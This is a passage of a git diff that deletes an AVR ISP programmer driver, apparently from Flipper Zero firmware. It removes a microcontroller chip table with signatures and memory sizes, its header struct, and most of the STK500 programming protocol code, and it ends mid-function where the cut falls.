avrdude - {"ATtiny816", 299, F_AVR8X, {0x1E, 0x93, 0x21}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny817", 300, F_AVR8X, {0x1E, 0x93, 0x20}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny824", 301, F_AVR8X, {0x1E, 0x93, 0x29}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3c00, 0x0400, 10, 1, 30}, // atdf, avrdude - {"ATtiny826", 302, F_AVR8X, {0x1E, 0x93, 0x28}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3c00, 0x0400, 10, 1, 30}, // atdf, avrdude - {"ATtiny827", 303, F_AVR8X, {0x1E, 0x93, 0x27}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3c00, 0x0400, 10, 1, 30}, // atdf, avrdude - {"ATtiny1604", 304, F_AVR8X, {0x1E, 0x94, 0x25}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3c00, 0x0400, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1606", 305, F_AVR8X, {0x1E, 0x94, 0x24}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3c00, 0x0400, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1607", 306, F_AVR8X, {0x1E, 0x94, 0x23}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3c00, 0x0400, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1614", 307, F_AVR8X, {0x1E, 0x94, 0x22}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1616", 308, F_AVR8X, {0x1E, 0x94, 0x21}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1617", 309, F_AVR8X, {0x1E, 0x94, 0x20}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1624", 310, F_AVR8X, {0x1E, 0x94, 0x2A}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 30}, // atdf, avrdude - {"ATtiny1626", 311, F_AVR8X, {0x1E, 0x94, 0x29}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 30}, // atdf, avrdude - {"ATtiny1627", 312, F_AVR8X, {0x1E, 0x94, 0x28}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 30}, // atdf, avrdude - {"ATtiny3214", 313, F_AVR8X, {0x1E, 0x95, 0x20}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3800, 0x0800, 10, 1, 31}, // avr-gcc 12.2.0 - {"ATtiny3216", 314, F_AVR8X, {0x1E, 0x95, 0x21}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3800, 0x0800, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny3217", 315, F_AVR8X, {0x1E, 0x95, 0x22}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3800, 0x0800, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny3224", 316, F_AVR8X, {0x1E, 0x95, 0x28}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3400, 0x0c00, 10, 1, 30}, // atdf, avrdude - {"ATtiny3226", 317, F_AVR8X, {0x1E, 0x95, 0x27}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3400, 0x0c00, 10, 1, 30}, // atdf, avrdude - {"ATtiny3227", 318, F_AVR8X, {0x1E, 0x95, 0x26}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3400, 0x0c00, 10, 1, 30}, // atdf, avrdude - {"ATmega808", 319, F_AVR8X, {0x1E, 0x93, 0x26}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3c00, 0x0400, 10, 1, 36}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega809", 320, F_AVR8X, {0x1E, 0x93, 0x2A}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3c00, 0x0400, 10, 1, 40}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1608", 321, F_AVR8X, {0x1E, 0x94, 0x27}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 36}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1609", 322, F_AVR8X, {0x1E, 0x94, 0x26}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 40}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3208", 323, F_AVR8X, {0x1E, 0x95, 0x30}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3000, 0x1000, 10, 1, 36}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3209", 324, F_AVR8X, {0x1E, 0x95, 0x31}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3000, 0x1000, 10, 1, 40}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega4808", 325, F_AVR8X, {0x1E, 0x96, 0x50}, 0, 0x0c000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x2800, 0x1800, 10, 1, 36}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega4809", 326, F_AVR8X, {0x1E, 0x96, 0x51}, 0, 0x0c000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x2800, 0x1800, 10, 1, 40}, // atdf, avr-gcc 12.2.0, avrdude - {"AVR8EA28", 327, F_AVR8X, {0x1E, 0x93, 0x2C}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR8EA32", 328, F_AVR8X, {0x1E, 0x93, 0x2B}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR16DD14", 329, F_AVR8X, {0x1E, 0x94, 0x34}, 0, 0x04000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7800, 0x0800, 16, 4, 36}, // atdf, avrdude - {"AVR16DD20", 330, F_AVR8X, {0x1E, 0x94, 0x33}, 0, 0x04000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7800, 0x0800, 16, 4, 36}, // atdf, avrdude - {"AVR16DD28", 331, F_AVR8X, {0x1E, 0x94, 0x32}, 0, 0x04000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7800, 0x0800, 16, 4, 36}, // atdf, avrdude - {"AVR16EA28", 332, F_AVR8X, {0x1E, 0x94, 0x37}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR16DD32", 333, F_AVR8X, {0x1E, 0x94, 0x31}, 0, 0x04000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7800, 0x0800, 16, 4, 36}, // atdf, avrdude - {"AVR16EA32", 334, F_AVR8X, {0x1E, 0x94, 0x36}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR16EA48", 335, F_AVR8X, {0x1E, 0x94, 0x35}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR32DD14", 336, F_AVR8X, {0x1E, 0x95, 0x3B}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7000, 0x1000, 16, 4, 36}, // atdf, avrdude - {"AVR32DD20", 337, F_AVR8X, {0x1E, 0x95, 0x3A}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7000, 0x1000, 16, 4, 36}, // atdf, avrdude - {"AVR32DA28", 338, F_AVR8X, {0x1E, 0x95, 0x34}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 41}, // atdf, avrdude - {"AVR32DB28", 339, F_AVR8X, {0x1E, 0x95, 0x37}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 42}, // atdf, avrdude - {"AVR32DD28", 340, F_AVR8X, {0x1E, 0x95, 0x39}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7000, 0x1000, 16, 4, 36}, // atdf, avrdude - {"AVR32EA28", 341, F_AVR8X, {0x1E, 0x95, 0x3E}, 0, 0x08000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR32DA32", 342, F_AVR8X, {0x1E, 0x95, 0x33}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 44}, // atdf, avrdude - {"AVR32DB32", 343, F_AVR8X, {0x1E, 0x95, 0x36}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 44}, // atdf, avrdude - {"AVR32DD32", 344, F_AVR8X, {0x1E, 0x95, 0x38}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7000, 0x1000, 16, 4, 36}, // atdf, avrdude - {"AVR32EA32", 345, F_AVR8X, {0x1E, 0x95, 0x3D}, 0, 0x08000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR32DA48", 346, F_AVR8X, {0x1E, 0x95, 0x32}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 58}, // atdf, avrdude - {"AVR32DB48", 347, F_AVR8X, {0x1E, 0x95, 0x35}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 61}, // atdf, avrdude - {"AVR32EA48", 348, F_AVR8X, {0x1E, 0x95, 0x3C}, 0, 0x08000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR64DD14", 349, F_AVR8X, {0x1E, 0x96, 0x1D}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x6000, 0x2000, 16, 4, 36}, // atdf, avrdude - {"AVR64DD20", 350, F_AVR8X, {0x1E, 0x96, 0x1C}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x6000, 0x2000, 16, 4, 36}, // atdf, avrdude - {"AVR64DA28", 351, F_AVR8X, {0x1E, 0x96, 0x15}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 41}, // atdf, avrdude - {"AVR64DB28", 352, F_AVR8X, {0x1E, 0x96, 0x19}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 42}, // atdf, avrdude - {"AVR64DD28", 353, F_AVR8X, {0x1E, 0x96, 0x1B}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x6000, 0x2000, 16, 4, 36}, // atdf, avrdude - {"AVR64EA28", 354, F_AVR8X, {0x1E, 0x96, 0x20}, 0, 0x10000, 0x080, 1, 0, 0x01400, 0x0200, 8, 0x6800, 0x1800, 16, 4, 37}, // atdf, avrdude - {"AVR64DA32", 355, F_AVR8X, {0x1E, 0x96, 0x14}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 44}, // atdf, avrdude - {"AVR64DB32", 356, F_AVR8X, {0x1E, 0x96, 0x18}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 44}, // atdf, avrdude - {"AVR64DD32", 357, F_AVR8X, {0x1E, 0x96, 0x1A}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x6000, 0x2000, 16, 4, 36}, // atdf, avrdude - {"AVR64EA32", 358, F_AVR8X, {0x1E, 0x96, 0x1F}, 0, 0x10000, 0x080, 1, 0, 0x01400, 0x0200, 8, 0x6800, 0x1800, 16, 4, 37}, // atdf, avrdude - {"AVR64DA48", 359, F_AVR8X, {0x1E, 0x96, 0x13}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 58}, // atdf, avrdude - {"AVR64DB48", 360, F_AVR8X, {0x1E, 0x96, 0x17}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 61}, // atdf, avrdude - {"AVR64EA48", 361, F_AVR8X, {0x1E, 0x96, 0x1E}, 0, 0x10000, 0x080, 1, 0, 0x01400, 0x0200, 8, 0x6800, 0x1800, 16, 4, 45}, // atdf, avrdude - {"AVR64DA64", 362, F_AVR8X, {0x1E, 0x96, 0x12}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 64}, // atdf, avrdude - {"AVR64DB64", 363, F_AVR8X, {0x1E, 0x96, 0x16}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 65}, // atdf, avrdude - {"AVR128DA28", 364, F_AVR8X, {0x1E, 0x97, 0x0A}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 41}, // atdf, avrdude - {"AVR128DB28", 365, F_AVR8X, {0x1E, 0x97, 0x0E}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 42}, // atdf, avrdude - {"AVR128DA32", 366, F_AVR8X, {0x1E, 0x97, 0x09}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 44}, // atdf, avrdude - {"AVR128DB32", 367, F_AVR8X, {0x1E, 0x97, 0x0D}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 44}, // atdf, avrdude - {"AVR128DA48", 368, F_AVR8X, {0x1E, 0x97, 0x08}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 58}, // atdf, avrdude - {"AVR128DB48", 369, F_AVR8X, {0x1E, 0x97, 0x0C}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 61}, // atdf, avrdude - {"AVR128DA64", 370, F_AVR8X, {0x1E, 0x97, 0x07}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 64}, // atdf, avrdude - {"AVR128DB64", 371, F_AVR8X, {0x1E, 0x97, 0x0B}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 65}, // atdf, avrdude -}; - -const size_t avr_isp_chip_arr_size = COUNT_OF(avr_isp_chip_arr); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.h b/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.h deleted file mode 100644 index 66f16a7b9..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.h +++ /dev/null @@ -1,33 +0,0 @@ -#pragma once - -#include - -#define F_AVR8L 1 // TPI programming, ATtiny(4|5|9|10|20|40|102|104) -#define F_AVR8 2 // ISP programming with SPI, "classic" AVRs -#define F_XMEGA 4 // PDI programming, ATxmega family -#define F_AVR8X 8 // UPDI programming, newer 8-bit MCUs - -struct AvrIspChipArr { // Value of -1 typically means unknown - const char* name; // Name of part - uint16_t mcuid; // ID of MCU in 0..2039 - uint8_t avrarch; // F_AVR8L, F_AVR8, F_XMEGA or F_AVR8X - uint8_t sigs[3]; // Signature bytes - int32_t flashoffset; // Flash offset - int32_t flashsize; // Flash size - int16_t pagesize; // Flash page size - int8_t nboots; // Number of supported boot sectors - int16_t bootsize; // Size of (smallest) boot sector - int32_t eepromoffset; // EEPROM offset - int32_t eepromsize; // EEPROM size - int32_t eeprompagesize; // EEPROM page size - int32_t sramstart; // SRAM offset - int32_t sramsize; // SRAM size - int8_t nfuses; // Number of fuse bytes - int8_t nlocks; // Number of lock bytes - uint8_t ninterrupts; // Number of vectors in interrupt vector table -}; - -typedef struct AvrIspChipArr AvrIspChipArr; - -extern const AvrIspChipArr avr_isp_chip_arr[]; -extern const size_t avr_isp_chip_arr_size; \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.c b/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.c deleted file mode 100644 index bbb6d4739..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.c +++ /dev/null @@ -1,639 +0,0 @@ -#include "avr_isp_prog.h" -#include "avr_isp_prog_cmd.h" - -#include - -#define AVR_ISP_PROG_TX_RX_BUF_SIZE 320 -#define TAG "AvrIspProg" - -struct AvrIspProgSignature { - uint8_t vendor; - uint8_t part_family; - uint8_t part_number; -}; - -typedef struct AvrIspProgSignature AvrIspProgSignature; - -struct AvrIspProgCfgDevice { - uint8_t devicecode; - uint8_t revision; - uint8_t progtype; - uint8_t parmode; - uint8_t polling; - uint8_t selftimed; - uint8_t lockbytes; - uint8_t fusebytes; - uint8_t flashpoll; - uint16_t eeprompoll; - uint16_t pagesize; - uint16_t eepromsize; - uint32_t flashsize; -}; - -typedef struct AvrIspProgCfgDevice AvrIspProgCfgDevice; - -struct AvrIspProg { - AvrIspSpiSw* spi; - AvrIspProgCfgDevice* cfg; - FuriStreamBuffer* stream_rx; - FuriStreamBuffer* stream_tx; - - uint16_t error; - uint16_t addr; - bool pmode; - bool exit; - bool rst_active_high; - uint8_t buff[AVR_ISP_PROG_TX_RX_BUF_SIZE]; - - AvrIspProgCallback callback; - void* context; -}; - -static void avr_isp_prog_end_pmode(AvrIspProg* instance); - -AvrIspProg* avr_isp_prog_init(void) { - AvrIspProg* instance = malloc(sizeof(AvrIspProg)); - instance->cfg = malloc(sizeof(AvrIspProgCfgDevice)); - instance->stream_rx = - furi_stream_buffer_alloc(sizeof(int8_t) * AVR_ISP_PROG_TX_RX_BUF_SIZE, sizeof(int8_t)); - instance->stream_tx = - furi_stream_buffer_alloc(sizeof(int8_t) * AVR_ISP_PROG_TX_RX_BUF_SIZE, sizeof(int8_t)); - instance->rst_active_high = false; - instance->exit = false; - return instance; -} - -void avr_isp_prog_free(AvrIspProg* instance) { - furi_assert(instance); - if(instance->spi) avr_isp_prog_end_pmode(instance); - furi_stream_buffer_free(instance->stream_tx); - furi_stream_buffer_free(instance->stream_rx); - free(instance->cfg); - free(instance); -} - -size_t avr_isp_prog_spaces_rx(AvrIspProg* instance) { - return furi_stream_buffer_spaces_available(instance->stream_rx); -} - -bool avr_isp_prog_rx(AvrIspProg* instance, uint8_t* data, size_t len) { - furi_assert(instance); - furi_assert(data); - furi_assert(len != 0); - size_t ret = furi_stream_buffer_send(instance->stream_rx, data, sizeof(uint8_t) * len, 0); - return ret == sizeof(uint8_t) * len; -} - -size_t avr_isp_prog_tx(AvrIspProg* instance, uint8_t* data, size_t max_len) { - furi_assert(instance); - return furi_stream_buffer_receive(instance->stream_tx, data, sizeof(int8_t) * max_len, 0); -} - -void avr_isp_prog_exit(AvrIspProg* instance) { - furi_assert(instance); - instance->exit = true; -} - -void avr_isp_prog_set_tx_callback(AvrIspProg* instance, AvrIspProgCallback callback, void* context) { - furi_assert(instance); - furi_assert(context); - instance->callback = callback; - instance->context = context; -} - -static void avr_isp_prog_tx_ch(AvrIspProg* instance, uint8_t data) { - furi_assert(instance); - furi_stream_buffer_send(instance->stream_tx, &data, sizeof(uint8_t), FuriWaitForever); -} - -static uint8_t avr_isp_prog_getch(AvrIspProg* instance) { - furi_assert(instance); - uint8_t data[1] = {0}; - while(furi_stream_buffer_receive(instance->stream_rx, &data, sizeof(int8_t), 30) == 0) { - if(instance->exit) break; - }; - return data[0]; -} - -static void avr_isp_prog_fill(AvrIspProg* instance, size_t len) { - furi_assert(instance); - for(size_t x = 0; x < len; x++) { - instance->buff[x] = avr_isp_prog_getch(instance); - } -} - -static void avr_isp_prog_reset_target(AvrIspProg* instance, bool reset) { - furi_assert(instance); - avr_isp_spi_sw_res_set(instance->spi, (reset == instance->rst_active_high) ? true : false); -} - -static uint8_t avr_isp_prog_spi_transaction( - AvrIspProg* instance, - uint8_t cmd, - uint8_t addr_hi, - uint8_t addr_lo, - uint8_t data) { - furi_assert(instance); - - avr_isp_spi_sw_txrx(instance->spi, cmd); - avr_isp_spi_sw_txrx(instance->spi, addr_hi); - avr_isp_spi_sw_txrx(instance->spi, addr_lo); - return avr_isp_spi_sw_txrx(instance->spi, data); -} - -static void avr_isp_prog_empty_reply(AvrIspProg* instance) { - furi_assert(instance); - if(avr_isp_prog_getch(instance) == CRC_EOP) { - avr_isp_prog_tx_ch(instance, STK_INSYNC); - avr_isp_prog_tx_ch(instance, STK_OK); - } else { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } -} - -static void avr_isp_prog_breply(AvrIspProg* instance, uint8_t data) { - furi_assert(instance); - if(avr_isp_prog_getch(instance) == CRC_EOP) { - avr_isp_prog_tx_ch(instance, STK_INSYNC); - avr_isp_prog_tx_ch(instance, data); - avr_isp_prog_tx_ch(instance, STK_OK); - } else { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } -} - -static void avr_isp_prog_get_version(AvrIspProg* instance, uint8_t data) { - furi_assert(instance); - switch(data) { - case STK_HW_VER: - avr_isp_prog_breply(instance, AVR_ISP_HWVER); - break; - case STK_SW_MAJOR: - avr_isp_prog_breply(instance, AVR_ISP_SWMAJ); - break; - case STK_SW_MINOR: - avr_isp_prog_breply(instance, AVR_ISP_SWMIN); - break; - case AVP_ISP_CONNECT_TYPE: - avr_isp_prog_breply(instance, AVP_ISP_SERIAL_CONNECT_TYPE); - break; - default: - avr_isp_prog_breply(instance, AVR_ISP_RESP_0); - } -} - -static void avr_isp_prog_set_cfg(AvrIspProg* instance) { - furi_assert(instance); - // call this after reading cfg packet into buff[] - instance->cfg->devicecode = instance->buff[0]; - instance->cfg->revision = instance->buff[1]; - instance->cfg->progtype = instance->buff[2]; - instance->cfg->parmode = instance->buff[3]; - instance->cfg->polling = instance->buff[4]; - instance->cfg->selftimed = instance->buff[5]; - instance->cfg->lockbytes = instance->buff[6]; - instance->cfg->fusebytes = instance->buff[7]; - instance->cfg->flashpoll = instance->buff[8]; - // ignore (instance->buff[9] == instance->buff[8]) //FLASH polling value. Same as flashpoll - instance->cfg->eeprompoll = instance->buff[10] << 8 | instance->buff[11]; - instance->cfg->pagesize = instance->buff[12] << 8 | instance->buff[13]; - instance->cfg->eepromsize = instance->buff[14] << 8 | instance->buff[15]; - instance->cfg->flashsize = instance->buff[16] << 24 | instance->buff[17] << 16 | - instance->buff[18] << 8 | instance->buff[19]; - - // avr devices have active low reset, at89sx are active high - instance->rst_active_high = (instance->cfg->devicecode >= 0xe0); -} -static bool - avr_isp_prog_set_pmode(AvrIspProg* instance, uint8_t a, uint8_t b, uint8_t c, uint8_t d) { - furi_assert(instance); - uint8_t res = 0; - avr_isp_spi_sw_txrx(instance->spi, a); - avr_isp_spi_sw_txrx(instance->spi, b); - res = avr_isp_spi_sw_txrx(instance->spi, c); - avr_isp_spi_sw_txrx(instance->spi, d); - return res == 0x53; -} - -static void avr_isp_prog_end_pmode(AvrIspProg* instance) { - furi_assert(instance); - if(instance->pmode) { - avr_isp_prog_reset_target(instance, false); - // We're about to take the target out of reset - // so configure SPI pins as input - - if(instance->spi) avr_isp_spi_sw_free(instance->spi); - instance->spi = NULL; - } - - instance->pmode = false; -} - -static bool avr_isp_prog_start_pmode(AvrIspProg* instance, AvrIspSpiSwSpeed spi_speed) { - furi_assert(instance); - // Reset target before driving PIN_SCK or PIN_MOSI - - // SPI.begin() will configure SS as output, - // so SPI master mode is selected. - // We have defined RESET as pin 10, - // which for many arduino's is not the SS pin. - // So we have to configure RESET as output here, - // (reset_target() first sets the correct level) - if(instance->spi) avr_isp_spi_sw_free(instance->spi); - instance->spi = avr_isp_spi_sw_init(spi_speed); - - avr_isp_prog_reset_target(instance, true); - // See avr datasheets, chapter "SERIAL_PRG Programming Algorithm": - - // Pulse RESET after PIN_SCK is low: - avr_isp_spi_sw_sck_set(instance->spi, false); - - // discharge PIN_SCK, value arbitrally chosen - furi_delay_ms(20); - avr_isp_prog_reset_target(instance, false); - - // Pulse must be minimum 2 target CPU speed cycles - // so 100 usec is ok for CPU speeds above 20KHz - furi_delay_ms(1); - - avr_isp_prog_reset_target(instance, true); - - // Send the enable programming command: - // datasheet: must be > 20 msec - furi_delay_ms(50); - if(avr_isp_prog_set_pmode(instance, AVR_ISP_SET_PMODE)) { - instance->pmode = true; - return true; - } - return false; -} - -static AvrIspProgSignature avr_isp_prog_check_signature(AvrIspProg* instance) { - furi_assert(instance); - AvrIspProgSignature signature; - signature.vendor = avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_VENDOR); - signature.part_family = avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_PART_FAMILY); - signature.part_number = avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_PART_NUMBER); - return signature; -} - -static bool avr_isp_prog_auto_set_spi_speed_start_pmode(AvrIspProg* instance) { - AvrIspSpiSwSpeed spi_speed[] = { - AvrIspSpiSwSpeed1Mhz, - AvrIspSpiSwSpeed400Khz, - AvrIspSpiSwSpeed250Khz, - AvrIspSpiSwSpeed125Khz, - AvrIspSpiSwSpeed60Khz, - AvrIspSpiSwSpeed40Khz, - AvrIspSpiSwSpeed20Khz, - AvrIspSpiSwSpeed10Khz, - AvrIspSpiSwSpeed5Khz, - AvrIspSpiSwSpeed1Khz, - }; - for(uint8_t i = 0; i < COUNT_OF(spi_speed); i++) { - if(avr_isp_prog_start_pmode(instance, spi_speed[i])) { - AvrIspProgSignature sig = avr_isp_prog_check_signature(instance); - AvrIspProgSignature sig_examination = avr_isp_prog_check_signature(instance); //-V656 - uint8_t y = 0; - while(y < 8) { - if(memcmp( - (uint8_t*)&sig, (uint8_t*)&sig_examination, sizeof(AvrIspProgSignature)) != - 0) - break; - sig_examination = avr_isp_prog_check_signature(instance); - y++; - } - if(y == 8) { - if(spi_speed[i] > AvrIspSpiSwSpeed1Mhz) { - if(i < (COUNT_OF(spi_speed) - 1)) { - avr_isp_prog_end_pmode(instance); - i++; - return avr_isp_prog_start_pmode(instance, spi_speed[i]); - } - } - return true; - } - } - } - - if(instance->spi) { - avr_isp_spi_sw_free(instance->spi); - instance->spi = NULL; - } - - return false; -} - -static void avr_isp_prog_universal(AvrIspProg* instance) { - furi_assert(instance); - uint8_t data; - - avr_isp_prog_fill(instance, 4); - data = avr_isp_prog_spi_transaction( - instance, instance->buff[0], instance->buff[1], instance->buff[2], instance->buff[3]); - avr_isp_prog_breply(instance, data); -} - -static void avr_isp_prog_commit(AvrIspProg* instance, uint16_t addr, uint8_t data) { - furi_assert(instance); - avr_isp_prog_spi_transaction(instance, AVR_ISP_COMMIT(addr)); - /* polling flash */ - if(data == 0xFF) { - furi_delay_ms(5); - } else { - /* polling flash */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_FLASH_HI(addr)) != 0xFF) { - break; - }; - } - } -} - -static uint16_t avr_isp_prog_current_page(AvrIspProg* instance) { - furi_assert(instance); - uint16_t page = 0; - switch(instance->cfg->pagesize) { - case 32: - page = instance->addr & 0xFFFFFFF0; - break; - case 64: - page = instance->addr & 0xFFFFFFE0; - break; - case 128: - page = instance->addr & 0xFFFFFFC0; - break; - case 256: - page = instance->addr & 0xFFFFFF80; - break; - - default: - page = instance->addr; - break; - } - - return page; -} - -static uint8_t avr_isp_prog_write_flash_pages(AvrIspProg* instance, size_t length) { - furi_assert(instance); - size_t x = 0; - uint16_t page = avr_isp_prog_current_page(instance); - while(x < length) { - if(page != avr_isp_prog_current_page(instance)) { - --x; - avr_isp_prog_commit(instance, page, instance->buff[x++]); - page = avr_isp_prog_current_page(instance); - } - avr_isp_prog_spi_transaction( - instance, AVR_ISP_WRITE_FLASH_LO(instance->addr, instance->buff[x++])); - - avr_isp_prog_spi_transaction( - instance, AVR_ISP_WRITE_FLASH_HI(instance->addr, instance->buff[x++])); - instance->addr++; - } - - avr_isp_prog_commit(instance, page, instance->buff[--x]); - return STK_OK; -} - -static void avr_isp_prog_write_flash(AvrIspProg* instance, size_t length) { - furi_assert(instance); - avr_isp_prog_fill(instance, length); - if(avr_isp_prog_getch(instance) == CRC_EOP) { - avr_isp_prog_tx_ch(instance, STK_INSYNC); - avr_isp_prog_tx_ch(instance, avr_isp_prog_write_flash_pages(instance, length)); - } else { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } -} - -// write (length) bytes, (start) is a byte address -static uint8_t - 